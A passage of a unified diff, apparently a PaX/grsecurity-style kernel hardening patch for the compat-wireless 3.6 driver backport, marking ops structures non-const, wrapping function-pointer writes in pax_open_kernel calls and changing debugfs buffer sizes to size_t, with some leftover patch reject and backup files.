compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c 2012-10-15 17:30:59.816924531 +0000 +@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + ads->ds_txstatus6 = ads->ds_txstatus7 = 0; + ads->ds_txstatus8 = ads->ds_txstatus9 = 0; + +- ACCESS_ONCE(ads->ds_link) = i->link; +- ACCESS_ONCE(ads->ds_data) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->ds_link) = i->link; ++ ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0]; + + ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore); + ctl6 = SM(i->keytype, AR_EncrType); +@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + + if ((i->is_first || i->is_last) && + i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) { +- ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ds_ctl2) = 0; +- ACCESS_ONCE(ads->ds_ctl3) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl2) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl3) = 0; + } + + if (!i->is_first) { +- ACCESS_ONCE(ads->ds_ctl0) = 0; +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl0) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + return; + } + +@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + break; + } + +- ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + | (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable : + (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0)); + +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + + if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST) + return; + +- ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9003_mac.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9003_mac.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c 2012-10-15 17:30:59.817924530 +0000 +@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + (i->qcu << AR_TxQcuNum_S) | desc_len; + + checksum += val; +- ACCESS_ONCE(ads->info) = val; ++ ACCESS_ONCE_RW(ads->info) = val; + + checksum += i->link; +- ACCESS_ONCE(ads->link) = i->link; ++ ACCESS_ONCE_RW(ads->link) = i->link; + + checksum += i->buf_addr[0]; +- ACCESS_ONCE(ads->data0) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0]; + checksum += i->buf_addr[1]; +- ACCESS_ONCE(ads->data1) = i->buf_addr[1]; ++ ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1]; + checksum += i->buf_addr[2]; +- ACCESS_ONCE(ads->data2) = i->buf_addr[2]; ++ ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2]; + checksum += i->buf_addr[3]; +- ACCESS_ONCE(ads->data3) = i->buf_addr[3]; ++ ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3]; + + checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl3) = val; ++ ACCESS_ONCE_RW(ads->ctl3) = val; + checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl5) = val; ++ ACCESS_ONCE_RW(ads->ctl5) = val; + checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl7) = val; ++ ACCESS_ONCE_RW(ads->ctl7) = val; + checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl9) = val; ++ ACCESS_ONCE_RW(ads->ctl9) = val; + + checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff); +- ACCESS_ONCE(ads->ctl10) = checksum; ++ ACCESS_ONCE_RW(ads->ctl10) = checksum; + + if (i->is_first || i->is_last) { +- ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ctl13) = 0; +- ACCESS_ONCE(ads->ctl14) = 0; ++ ACCESS_ONCE_RW(ads->ctl13) = 0; ++ ACCESS_ONCE_RW(ads->ctl14) = 0; + } + + ads->ctl20 = 0; +@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + + ctl17 = SM(i->keytype, AR_EncrType); + if (!i->is_first) { +- ACCESS_ONCE(ads->ctl11) = 0; +- ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore; +- ACCESS_ONCE(ads->ctl15) = 0; +- ACCESS_ONCE(ads->ctl16) = 0; +- ACCESS_ONCE(ads->ctl17) = ctl17; +- ACCESS_ONCE(ads->ctl18) = 0; +- ACCESS_ONCE(ads->ctl19) = 0; ++ ACCESS_ONCE_RW(ads->ctl11) = 0; ++ ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore; ++ ACCESS_ONCE_RW(ads->ctl15) = 0; ++ ACCESS_ONCE_RW(ads->ctl16) = 0; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl18) = 0; ++ ACCESS_ONCE_RW(ads->ctl19) = 0; + return; + } + +- ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S; + ctl12 |= SM(val, AR_PAPRDChainMask); + +- ACCESS_ONCE(ads->ctl12) = ctl12; +- ACCESS_ONCE(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl12) = ctl12; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; + +- ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) + | SM(i->rtscts_rate, AR_RTSCTSRate); + +- ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding; ++ ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding; + } + + static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h 2012-10-15 17:30:59.817924530 +0000 +@@ -657,7 +657,7 @@ struct ath_hw_private_ops { + + /* ANI */ + void (*ani_cache_ini_regs)(struct ath_hw *ah); +-}; ++} __no_const; + + /** + * struct ath_hw_ops - callbacks used by hardware code and driver code +@@ -687,7 +687,7 @@ struct ath_hw_ops { + void (*antdiv_comb_conf_set)(struct ath_hw *ah, + struct ath_hw_antcomb_conf *antconf); + void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable); +-}; ++} __no_const; + + struct ath_nf_limits { + s16 max; +@@ -707,7 +707,7 @@ enum ath_cal_list { + #define AH_FASTCC 0x4 + + struct ath_hw { +- struct ath_ops reg_ops; ++ ath_ops_no_const reg_ops; + + struct ieee80211_hw *hw; + struct ath_common common; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h.rej compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h.rej +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/hw.h.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/hw.h.rej 2012-10-15 17:30:59.817924530 +0000 +@@ -0,0 +1,11 @@ ++--- drivers/net/wireless/ath/ath9k/hw.h 2012-10-01 02:49:33.956114433 +0200 +++++ drivers/net/wireless/ath/ath9k/hw.h 2012-10-01 02:50:42.624114649 +0200 ++@@ -686,7 +686,7 @@ ++ void (*antdiv_comb_conf_set)(struct ath_hw *ah, ++ struct ath_hw_antcomb_conf *antconf); ++ ++-}; +++} __no_const; ++ ++ struct ath_nf_limits { ++ s16 max; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h 2012-10-15 17:30:59.818924529 +0000 +@@ -545,7 +545,7 @@ struct phy_func_ptr { + void (*carrsuppr)(struct brcms_phy *); + s32 (*rxsigpwr)(struct brcms_phy *, s32); + void (*detach)(struct brcms_phy *); +-}; ++} __no_const; + + struct brcms_phy { + struct brcms_phy_pub pubpi_ro; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlegacy/3945-mac.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlegacy/3945-mac.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c 2012-10-15 17:30:59.819924529 +0000 +@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c + */ + if (il3945_mod_params.disable_hw_scan) { + D_INFO("Disabling hw_scan\n"); +- il3945_mac_ops.hw_scan = NULL; ++ pax_open_kernel(); ++ *(void **)&il3945_mac_ops.hw_scan = NULL; ++ pax_close_kernel(); + } + + D_INFO("*** LOAD DRIVER ***\n"); +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/dvm/debugfs.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/dvm/debugfs.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/dvm/debugfs.c 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/dvm/debugfs.c 2012-10-15 17:30:59.819924529 +0000 +@@ -203,7 +203,7 @@ static ssize_t iwl_dbgfs_sram_write(stru + { + struct iwl_priv *priv = file->private_data; + char buf[64]; +- int buf_size; ++ size_t buf_size; + u32 offset, len; + + memset(buf, 0, sizeof(buf)); +@@ -473,7 +473,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri + struct iwl_priv *priv = file->private_data; + + char buf[8]; +- int buf_size; ++ size_t buf_size; + u32 reset_flag; + + memset(buf, 0, sizeof(buf)); +@@ -554,7 +554,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int ht40; + + memset(buf, 0, sizeof(buf)); +@@ -606,7 +606,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int value; + + memset(buf, 0, sizeof(buf)); +@@ -1871,7 +1871,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int clear; + + memset(buf, 0, sizeof(buf)); +@@ -1916,7 +1916,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int trace; + + memset(buf, 0, sizeof(buf)); +@@ -1987,7 +1987,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int missed; + + memset(buf, 0, sizeof(buf)); +@@ -2028,7 +2028,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int plcp; + + memset(buf, 0, sizeof(buf)); +@@ -2088,7 +2088,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int flush; + + memset(buf, 0, sizeof(buf)); +@@ -2178,7 +2178,7 @@ static ssize_t iwl_dbgfs_protection_mode + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int rts; + + if (!priv->cfg->ht_params) +@@ -2220,7 +2220,7 @@ static ssize_t iwl_dbgfs_echo_test_write + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +@@ -2256,7 +2256,7 @@ static ssize_t iwl_dbgfs_log_event_write + struct iwl_priv *priv = file->private_data; + u32 event_log_flag; + char buf[8]; +- int buf_size; ++ size_t buf_size; + + /* check that the interface is up */ + if (!iwl_is_ready(priv)) +@@ -2310,7 +2310,7 @@ static ssize_t iwl_dbgfs_calib_disabled_ + struct iwl_priv *priv = file->private_data; + char buf[8]; + u32 calib_disabled; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/pcie/trans.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/pcie/trans.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/iwlwifi/pcie/trans.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/pcie/trans.c 2012-10-15 17:30:59.820924530 +0000 +@@ -1944,7 +1944,7 @@ static ssize_t iwl_dbgfs_interrupt_write + struct isr_statistics *isr_stats = &trans_pcie->isr_stats; + + char buf[8]; +- int buf_size; ++ size_t buf_size; + u32 reset_flag; + + memset(buf, 0, sizeof(buf)); +@@ -1965,7 +1965,7 @@ static ssize_t iwl_dbgfs_csr_write(struc + { + struct iwl_trans *trans = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int csr; + + memset(buf, 0, sizeof(buf)); +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mac80211_hwsim.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mac80211_hwsim.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mac80211_hwsim.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mac80211_hwsim.c 2012-10-15 17:30:59.820924530 +0000 +@@ -1748,9 +1748,11 @@ static int __init init_mac80211_hwsim(vo + return -EINVAL; + + if (fake_hw_scan) { +- mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; +- mac80211_hwsim_ops.sw_scan_start = NULL; +- mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_open_kernel(); ++ *(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; ++ *(void **)&mac80211_hwsim_ops.sw_scan_start = NULL; ++ *(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_close_kernel(); + } + + spin_lock_init(&hwsim_radio_lock); +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mwifiex/main.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mwifiex/main.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mwifiex/main.h 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mwifiex/main.h 2012-10-15 17:30:59.820924530 +0000 +@@ -571,7 +571,7 @@ struct mwifiex_if_ops { + int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *); +-}; ++} __no_const; + + struct mwifiex_adapter { + u8 iface_type; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rndis_wlan.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rndis_wlan.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rndis_wlan.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rndis_wlan.c 2012-10-15 17:30:59.821924531 +0000 +@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn + + netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold); + +- if (rts_threshold < 0 || rts_threshold > 2347) ++ if (rts_threshold > 2347) + rts_threshold = 2347; + + tmp = cpu_to_le32(rts_threshold); +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00.h 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h 2012-10-15 17:30:59.821924531 +0000 +@@ -397,7 +397,7 @@ struct rt2x00_intf { + * for hardware which doesn't support hardware + * sequence counting. + */ +- atomic_t seqno; ++ atomic_unchecked_t seqno; + }; + + static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00queue.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00queue.c 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c 2012-10-15 17:30:59.822924531 +0000 +@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri + * sequence counter given by mac80211. + */ + if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags)) +- seqno = atomic_add_return(0x10, &intf->seqno); ++ seqno = atomic_add_return_unchecked(0x10, &intf->seqno); + else +- seqno = atomic_read(&intf->seqno); ++ seqno = atomic_read_unchecked(&intf->seqno); + + hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG); + hdr->seq_ctrl |= cpu_to_le16(seqno); +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wl1251/wl1251.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wl1251/wl1251.h 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h 2012-10-15 17:30:59.822924531 +0000 +@@ -266,7 +266,7 @@ struct wl1251_if_operations { + void (*reset)(struct wl1251 *wl); + void (*enable_irq)(struct wl1251 *wl); + void (*disable_irq)(struct wl1251 *wl); +-}; ++} __no_const; + + struct wl1251 { + struct ieee80211_hw *hw; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wlcore/wlcore.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wlcore/wlcore.h 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h 2012-10-15 17:30:59.822924531 +0000 +@@ -81,7 +81,7 @@ struct wlcore_ops { + struct ieee80211_sta *sta, + struct ieee80211_key_conf *key_conf); + u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len); +-}; ++} __no_const; + + enum wlcore_partitions { + PART_DOWN, +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.rej compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.rej +--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.rej 2012-10-15 17:30:59.823924531 +0000 +@@ -0,0 +1,11 @@ ++--- include/linux/pm_runtime.h 2012-07-23 00:22:30.802342811 +0200 +++++ include/linux/pm_runtime.h 2012-10-01 02:50:45.740114659 +0200 ++@@ -97,7 +97,7 @@ ++ ++ static inline void pm_runtime_mark_last_busy(struct device *dev) ++ { ++- ACCESS_ONCE(dev->power.last_busy) = jiffies; +++ ACCESS_ONCE_RW(dev->power.last_busy) = jiffies; ++ } ++ ++ #else /* !CONFIG_PM_RUNTIME */ +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.~1~ compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.~1~ +--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.~1~ 2012-10-15 17:30:59.823924531 +0000 +@@ -0,0 +1,14 @@ ++#include ++ ++#ifndef __COMPAT_LINUX_PM_RUNTIME_H ++#define __COMPAT_LINUX_PM_RUNTIME_H ++ ++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)) ++#include_next ++#else ++ ++static inline void pm_runtime_enable(struct device *dev) {} ++ ++#endif /* (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)) */ ++ ++#endif +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.rej compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.rej +--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.rej 2012-10-15 17:30:59.823924531 +0000 +@@ -0,0 +1,10 @@ ++--- include/linux/rfkill.h 2012-05-21 11:33:38.331929879 +0200 +++++ include/linux/rfkill.h 2012-10-01 02:50:45.780114659 +0200 ++@@ -147,6 +147,7 @@ ++ void (*query)(struct rfkill *rfkill, void *data); ++ int (*set_block)(void *data, bool blocked); ++ }; +++typedef struct rfkill_ops __no_const rfkill_ops_no_const; ++ ++ #if defined(CONFIG_RFKILL) || defined(CONFIG_RFKILL_MODULE) ++ /** +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.~1~ compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.~1~ +--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.~1~ 2012-10-15 17:30:59.823924531 +0000 +@@ -0,0 +1,32 @@ ++#ifndef __COMPAT_RFKILL_H ++#define __COMPAT_RFKILL_H ++ ++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31)) ++ ++#include_next ++ ++#else ++ ++#include ++ ++#undef CONFIG_RFKILL ++#undef CONFIG_RFKILL_INPUT ++#undef CONFIG_RFKILL_LEDS ++ ++#ifdef CONFIG_RFKILL_BACKPORT ++#define CONFIG_RFKILL 1 ++#endif ++ ++#ifdef CONFIG_RFKILL_BACKPORT_INPUT ++#define CONFIG_RFKILL_INPUT ++#endif ++ ++#ifdef CONFIG_RFKILL_BACKPORT_LEDS ++#define CONFIG_RFKILL_LEDS ++#endif ++ ++#include ++ ++#endif ++ ++#endif +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/unaligned/access_ok.h compat-wireless-3.6-rc7-1-snpc/include/linux/unaligned/access_ok.h +--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/unaligned/access_ok.h 2012-09-17 19:15:56.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/linux/unaligned/access_ok.h 2012-10-15 17:30:59.823924531 +0000 +@@ -6,32 +6,32 @@ + + static inline u16 get_unaligned_le16(const void *p) + { +- return le16_to_cpup((__le16 *)p); ++ return le16_to_cpup((const __le16 *)p); + } + + static inline u32 get_unaligned_le32(const void *p) + { +- return le32_to_cpup((__le32 *)p); ++ return le32_to_cpup((const __le32 *)p); + } + + static inline u64 get_unaligned_le64(const void *p) + { +- return le64_to_cpup((__le64 *)p); ++ return le64_to_cpup((const __le64 *)p); + } + + static inline u16 get_unaligned_be16(const void *p) + { +- return be16_to_cpup((__be16 *)p); ++ return be16_to_cpup((const __be16 *)p); + } + + static inline u32 get_unaligned_be32(const void *p) + { +- return be32_to_cpup((__be32 *)p); ++ return be32_to_cpup((const __be32 *)p); + } + + static inline u64 get_unaligned_be64(const void *p) + { +- return be64_to_cpup((__be64 *)p); ++ return be64_to_cpup((const __be64 *)p); + } + + static inline void put_unaligned_le16(u16 val, void *p) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.rej compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.rej +--- compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.rej 1970-01-01 